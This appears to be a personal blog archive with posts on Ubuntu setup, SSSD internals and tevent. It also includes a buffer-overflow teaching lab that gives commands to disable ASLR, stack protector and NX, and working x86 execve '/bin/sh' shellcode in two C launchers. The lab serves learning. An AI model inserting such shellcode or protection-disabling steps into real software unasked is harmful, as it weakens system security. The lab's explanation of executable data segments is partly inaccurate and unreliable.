RSS

After Ubuntu 14.04 Installation

I have been playing around with my system quit a lot and have crashed it several times. Few basic software installations needed after installing ubuntu 14.04. Just a reference list to set your work environment quickly. (I know its for very few ‘amigos’)

1) Install VLC (keep the music in background and continue with the rest \m/)

2) Install chrome

Go to official site of chrome -> Downloads -> For Personal Computers -> [Download] For Linux (Debian/Ubuntu/Fedora/openSUSE) -> [check it if you have ubuntu  distribution] 64 bit .deb (For Debian/Ubuntu) -> Accept and Install

3) Install Peda

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

4) Install libc6-dev-i38

sudo apt-get update
sudo apt-get install libc6-dev-i386

5) Install ns2, version 2.34

Follow the steps in the following link and you will be done.

http://surajpatilworld.blogspot.in/2015/02/step-by-step-installation-of-ns-234-on.html

5) Install WireShark

You can simply use the software center to install it.

6) Install ghex

sudo apt-get update
sudo apt-get install ghex

7) Install ubuntu restricted packages for many others functionality for instance, flash-plugin. Please note it might not be legal in many countries (kindly keep a check).

sudo apt-get install ubuntu-restricted-extras

8) Latex

You can again use software center to install it.

Search for “latex” in the search bar. Click on “Texmaker”. Click on “Install”.

Later you might need to install other packages according to the type of document you will be creating in Latex. Anyways google is just a click away in that case.

9) Install your favourite text editor. Let’s install sublime:

sublime-3

sudo add-apt-repository -y ppa:webupd8team/sublime-text-3
sudo apt-get update; sudo apt-get install -y sublime-text-installer

10) Install  gufw firewall. Though ubuntu does not need antivirus. It is nice to keep some firewall and protect your system from attacks.

sudo apt-get install gufw

I will add more to the list as and how needed. For now these will do.

 
Leave a comment

Posted by on March 21, 2017 in Uncategorized

 

Buffer overflow: Get a shell!

Initial setup

ASLR : Address Space Layout Randomization

Ubuntu and several other Linux distributions use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact return address difficult; guessing addresses is one of the critical steps of a buffer overflow attack. But as our purpose is to do buffer overflow for learning we will disable this protection layer and work. We can disable address randomization using the following commands:

#sysctl -w kernel.randomize_va_space=0

To check if randomized or not, run the following command as root

# cat /proc/sys/kernel/randomize_va_space

If it says 0, that means ASLR disabled else it is not disabled.

The GCC compiler implements a security mechanism called Stack Guard to prevent buffer
overflows. In the presence of this protection, buffer overflow attacks will fail to work. You can disable this protection when you are compiling a program using the gcc option -fno-stack-

For example, to compile a program example.c with Stack Guard disabled, you can use the
following command:

# gcc -fno-stack-protector -o example example.c

Finally, Ubuntu uses NX protection to mark memory pages on the stack as non-executable.
Binaries must declare whether they require executable stacks or not as part of the ELF header. By default, gcc will mark all binaries as using non-executable stacks. To change this, add the following option to the command line in addition to the StackGuard disabling option above:

# gcc -z execstack -fno-stack-protector -o example example.c

To compile in base 32  flaf “-m32 “. Flag “-g” is used for symbol tables while compiling.

# gcc -z execstack -g -m32 -fno-stack-protector -o call_shellcode call_shellcode.c

To change peda flavor to att (usually it is intel)

$nano ~/.gdbinit

after the file gets opened type:

# set att flavor in peda
set disassembly-flavor att

 

PART-A

Before you start the attack, you need a shellcode. Shellcode is the code to launch a shell. It has to be loaded into the memory so that we can force the vulnerable program to jump to it. You may use your own shell code. Consider the following program:


#include <stdio.h>
int main( ) {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

The shellcode that we use is just the assembly version of the above program. The following
program shows you how to launch a shell by executing a shellcode stored in a buffer.
Please compile and run the following code, and see whether a shell is obtained or not.


/* call_shellcode.c
*/
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}

Compile above program

$gcc -z execstack -g -m32 -fno-stack-protector -o call_shellcode call_shellcode.c

run the above executable and you will get a shell:

$./call_shellcode

PART- B

Below is a modified version of the shell code. Compile the following program without the
additional flags as:

The program as you will see will infact give you a shell. Explain why this is so? What could be the reason why the following program didn’t require the execstack flag whereas the above one needed it?
/*A program that creates a file containing code for launching shell*/

#include <stdlib.h>
#include <stdio.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80";
int main(int argc, char **argv)
{
printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
int (*ret)() = (int(*)())code;
ret();
return 0;
}

To compile above code:

# gcc call_shellcode-1.c -o shell -ggdb -m32

Ans:

In first problem. The code is being copied to buffer. The code section is on stack. Thus to run the code we need to make it executable, execstack is required. Whereas in second problem, the code is in data segment.

  • data segment is usually write only and thus by default it is not executable. To make write only executable one need to use flags like “mprotect”
  • whereas if the data segment is read only it becomes executable and thus flag execstack is not required.

Once you run the code you will get shell code again. Please note if you do not use -m32 it will throw an error (segmentation fault)

 

 
Leave a comment

Posted by on March 15, 2017 in Uncategorized

 

Hello- world assembly

Hello world program in assembly language on a 64 bit x86 machine.

  1. Open a file named hello.asm
  2. Paste the following code
  3. SECTION .data
    msg: db “Hi World”,10
    len: equ $-msgSECTION .text
    global _start
    _start:
    mov edx,len
    mov ecx,msg
    mov ebx,1
    mov eax,4
    int 0x80
    mov ebx,0
    mov eax,1
    int 0x80
  4. nasm -f elf64 hello.asm
  5. gcc -o hello hello.o -nostartfiles -nostdlib -nodefaultlibs
  6. ./hello

🙂

Wish to inject something in this binary?

Lets keep it simple!

I am going to use ghex to read or write on this binary file. System: 64 bit x86 and  OS: Ubuntu 14.04.

$sudo apt-get install ghex

Follow these steps:

1) ghex hello

2) Go to the place where you can find string “hello world”, replace it with “BUSTED”

3) You can add some signature to this file as well lets say string “ABCDEFGDIJK”. Place it in the file as well (may be three places away from “BUSTED”).

4) Remove everything following this signature string from the binary file.

5) $./hello

6) “BUSTED” You should be able to see this as output

References: https://www.tutorialspoint.com/assembly_programming/assembly_basic_syntax.htm

 

 
Leave a comment

Posted by on January 23, 2017 in Uncategorized

 

PAM Responder

PAM responder always starts by determining the user’s group memberships. It does this by internally calling initgroups on each domain stanza, until it finds a match. Once a match is found, the PAM Responder knows which domain to use, which identity to use, and the groups to which the identity belongs. In our use case, there is only a single domain, so if calling initgroups against our domain fails, then the whole client request fails. Note that the presence of subdomains makes this more complicated, but that has been discussed earlier in the document.

The PAM Responder’s context (pam_ctx) is created at startup by pam_process_init(), which takes several actions, including:

  • calling sss_process_init with Responder-specific arguments, including supported commands
  • initializing Responder-specific optimizations (see Optimizations section)
  • retrieving Responder-specific config information from the confdb
Data Flow (PAM Responder)

This diagram shows the data flow generated by an SSS Client Application making a PAM request to SSSD

  1. SSS Client Application’s request is handled by our dynamically loaded PAM Client Library, which sends request to matching PAM Responder.
  2. Like the NSS Responder, the PAM Responder sends getAccountInfo request message to Backend, but only to ask it to update Cache with client’s group memberships (i.e. initgroups)
  3. Backend uses AD Provider Plugin to make LDAP call to remote AD Server and to retrieve response.
  4. Backend updates Cache, and also sends getAccountInfo response message (containing status) to PAM Responder; this also serves as indication that Cache has been updated.
  5. PAM Responder reads updated initgroups information from Cache.
  6. PAM Responder sends pamHandler request message to Backend
  7. Backend uses AD Provider Plugin to retrieve response from Child Process, which makes the actual KRB calls; note that the Child Process (not shown) will be discussed later in the document
  8. Backend sends pamHandler response message (containing status) to PAM Responder
  9. PAM Responder returns updated result to PAM Client Library, which passes it to SSS Client Application.

Difference between PAM and NSS:

1. PAM Responder’s data flow is different from the NSS Responder’s data flow. The primary difference is that the result of a pamHandler request is not stored in the Cache. The pamHandler response message contains status information, most of which is passed back to the PAM Client Library.

2. NSS Responder sends the Backend only a single request message, corresponding to the SSS Client’s request. In contrast, the PAM Responder sends two request messages: the first one to find the client’s group memberships, and the second one corresponding to the SSS Client’s request.

3. PAM responder always downloads the group memberships from the server (if reachable) even if the cache is up to date. This is to ensure correct authorization data on login, because group memberships are set on login on a Linux system.

Let us talk about more intricate details of PAM in the next post!!

References: https://fedorahosted.org/sssd/wiki/InternalsDocs#a7.5.PAMResponder

 
1 Comment

Posted by on March 7, 2014 in Uncategorized

 

Continuation: A overall view of NSS

Last time we took code snippets and had code specific understanding about NSS. This time lets sum up NSS responder as a whole.

NSS: The Name Service Switch (NSS) is a facility in Unix-like operating systems that provides a variety of sources for common configuration databases and name resolution mechanisms. These sources include local operating system files (such as /etc/passwd, /etc/group, and /etc/hosts), the Domain Name System (DNS), the Network Information Service (NIS), and LDAP.

NSS Data flow:

This diagram shows the data flow generated by an SSS Client Application making an NSS request to SSSD.

nss_ctx

The NSS Responder’s context (nss_ctx) is created at startup by nss_process_init(), which takes several actions, including:

  • calling sss_process_init() with Responder-specific arguments, including supported commands and supported SBus methods
  • initializing idmap_ctx
  • initializing Responder-specific optimizations (see NSS Optimizations section)
  • retrieving Responder-specific config information from the confdb

Client-Facing Interactions:

The commands supported by the NSS Responder are defined in nsssrv_cmd.c. These commands (and their inputs) are extracted from the packet sent to the Responder by the SSS Client. After processing the command, the NSS Responder returns a packet to the SSS Client containing command output and/or an error message.

Backend-Facing Interactions:

The NSS Responder communicates with the Backend using a single SBus method named getAccountInfo. For getAccountInfo, the outgoing SBus request message is constructed by sss_dp_get_account_msg and “sent” by sbus_conn_send. The incoming SBus reply message is “received” by sss_dp_get_reply.

Complete Data Flow as such:

NSS Responder reads a packet from the client socket, processes it and  writes an SBus message to the backend socket. Later NSS Responder reads the SBus message reply from the backend socket, processes the reply and writes a reply packet to the client socket. To conclude the complete working, it goes as following:-

1. SSS Client Application’s request is handled by our dynamically loaded NSS Client Library, which consults the fast cache. If valid cache entry exists, NSS Client Library immediately returns cached result to SSS Client Application.

2. If no valid cache entry exists in fast cache, NSS Client Library sends client’s NSS request to matching NSS Responder.

3. NSS Responder consults Cache. If valid cache entry exists (unexpired), NSS Responder immediately returns cached result to SSS Client Application (this step not shown above)

4. If no valid cache entry exists, NSS Responder sends getAccountInfo request message to Backend, asking Backend to update Cache with data corresponding to client’s NSS request.

5.Backend uses AD Provider Plugin to make LDAP call to remote AD Server and to retrieve response from AD Server.

6. Backend updates Cache, and also sends getAccountInfo response message (containing status) to NSS Responder; this also serves as indication that Cache has been updated.

7. NSS Responder reads updated result from Cache.

8. NSS Responder returns updated result to NSS Client Library, which passes it to SSS Client Application.

Next thing will be to talk about PAM responder, bit complex than NSS but interesting 🙂

Reference: http://en.wikipedia.org/wiki/Name_Service_Switch

https://fedorahosted.org/sssd/wiki/InternalsDocs

 

 
Leave a comment

Posted by on February 16, 2014 in Uncategorized

 

NSS Responder

There are mainly two responders in SSSD: NSS and PAM.

The role of a Responder is:

  1. it receives request messages from a matching SSS Client
  2. fulfills the requests in one of two following ways:
  3. Either directly retrieving a valid cached result from the sysdb Cache, or
  4. Or asks the Backend to update the sysdb Cache and then retrieves an up-to-date result from the sysdb Cache.
  5. sends back response messages to the matching SSS Client

The NSS server consists of two major task of: the NSS client and the Data Provider. The NSS client requests data (request for user by name or by id etc )and receives the result from the NSS responder.

A very simple way to understand the flow can be following: As explained by my mentor (Jakub Jhrozek) 🙂
“The Data Provider can be though of as “the server”. It is the component that is called when there is no data available to the NSS responder. Maybe it would be easier to grasp how the NSS responder works with a
mini-algorithm:
0. Request comes in to gather data about an entity. This is
simulated in the test by calling
will_return(__wrap_sss_packet_get_cmd), in real world the function
sss_packet_get_cmd is called.
1. The NSS responder checks if the data is available in the cache by
calling the sysdb functions.
1a. If the data is available in the cache, it is returned. The
request ends, go to 2.
1b. If the data is not available in the cache, the Data Provider
is asked for the data. Execution waits for the Data Provider to
finish and then returns to 1.
1c. If the data is not available in the cache and the Data
Provider was checked already, set negative result and go to 2.
2. Result (positive or negative) is returned to the client. “
Now, let us take a function in order to understand its working:
/* Testsuite for getuid */
static void mock_input_id(uint8_t *id)
{
will_return(__wrap_sss_packet_get_body, WRAP_CALL_WRAPPER);
will_return(__wrap_sss_packet_get_body, id);
}
static int test_nss_getpwuid_check(uint32_t status, uint8_t *body, size_t blen)
{
struct passwd pwd;
errno_t ret;assert_int_equal(status, EOK);ret = parse_user_packet(body, blen, &pwd);
assert_int_equal(ret, EOK);assert_int_equal(pwd.pw_uid, 101);
assert_int_equal(pwd.pw_gid, 401);
assert_string_equal(pwd.pw_name, “testuser1”);
assert_string_equal(pwd.pw_shell, “/bin/sh”);
assert_string_equal(pwd.pw_passwd, “*”);
return EOK;
}
void test_nss_getpwuid(void **state)
{
errno_t ret;/* Prime the cache with a valid user */
ret = sysdb_add_user(nss_test_ctx->tctx->dom,
“testuser1”, 101, 401, “test user1”,
“/home/testuser1”, “/bin/sh”, NULL,
NULL, 300, 0);
assert_int_equal(ret, EOK);uint8_t id = 101;
mock_input_id(&id);
will_return(__wrap_sss_packet_get_cmd, SSS_NSS_GETPWUID);
mock_fill_user();/* Query for that user, call a callback when command finishes */
set_cmd_cb(test_nss_getpwuid_check);
ret = sss_cmd_execute(nss_test_ctx->cctx, SSS_NSS_GETPWUID,
nss_test_ctx->nss_cmds);
assert_int_equal(ret, EOK);/* Wait until the test finishes with EOK */
ret = test_ev_loop(nss_test_ctx->tctx);
assert_int_equal(ret, EOK);
}
Let us look into the above function test_nss_getpwuid()
1)
/* Prime the cache with a valid user */
ret = sysdb_add_user(nss_test_ctx->tctx->dom,
“testuser1”, 101, 401, “test user1”,
“/home/testuser1”, “/bin/sh”, NULL,
NULL, 300, 0);
We are adding a valid user to system database.
2)
mock_input_id(&id);
will_return(__wrap_sss_packet_get_cmd, SSS_NSS_GETPWUID);
mock_fill_user();
Here, we are creating dummy packet with the above statements. Our test driver will be named __wrap_sss_packet_get_cmd() and this will replace the original sss_packet_get_cmd() function. We use __wrap since a linker flag makes it easy to “wrap” calls when named starting with “__wrap”.
will_return(function, value) : This way “value” is enqueued to the queue of mock values.
mock() : Likewise with mock() call, one value is dequeued from the mock value queue. We are writing mock of the original function, which instructs what value to be returned once mock is called in the function. mock_input_id() that will instruct __wrap_sss_packet_get_body() mentioned above, to return a uint32_t in the buffer.
3)
/* Query for that user, call a callback when command finishes */
set_cmd_cb(test_nss_getpwuid_check);
ret = sss_cmd_execute(nss_test_ctx->cctx, SSS_NSS_GETPWUID,
nss_test_ctx->nss_cmds);
With sss_cmd_execute we tell program to ‘execute GETPWUID‘ and when that is ready, call test_nss_getpwuid_check(), written above. The function nss_cmd_getpwnuid will then get executed and it will read the data we prepared with mock_input_id(). When whole processing finishes, the callback test_nss_getpwnam_check will get executed.
Let us discuss more about other functionalities it in upcoming posts 🙂
 
Leave a comment

Posted by on January 28, 2014 in Uncategorized

 

Somewhat about Tevent Context!

Tevent context is a handler that describes an instance of the ‘tevent’ event library. Thus to work with this, first we need to allocate some memory say “memctx”. Now that we have space allocated, we will put our tevent_ctx pointer here. To deal with the events to be caught and handled they are first required to be included in this particular context. Reason for subordinating events to a tevent context structure rises from the fact that several context can be created and each of them are processed at different time. Thus we can maintain different context for different events. For example: we can have one context containing just file descriptor events, secondone taking care of signal and time events and the third one which keeps information about the rest etc.

// A little example:

TALLOC_CTX *memctx = talloc_new(NULL);
assert_non_null(memctx, NULL);
struct tevent_context *ev_ctx = tevent_context_init(memctx);
assert_non_null(ev_ctx, NULL);

The Diagram below explains the idea clearly: Taken from the source mentioned below.

tevent_context_stucture.png

Source : https://tevent.samba.org/tevent_tutorial.html

 
Leave a comment

Posted by on January 26, 2014 in Uncategorized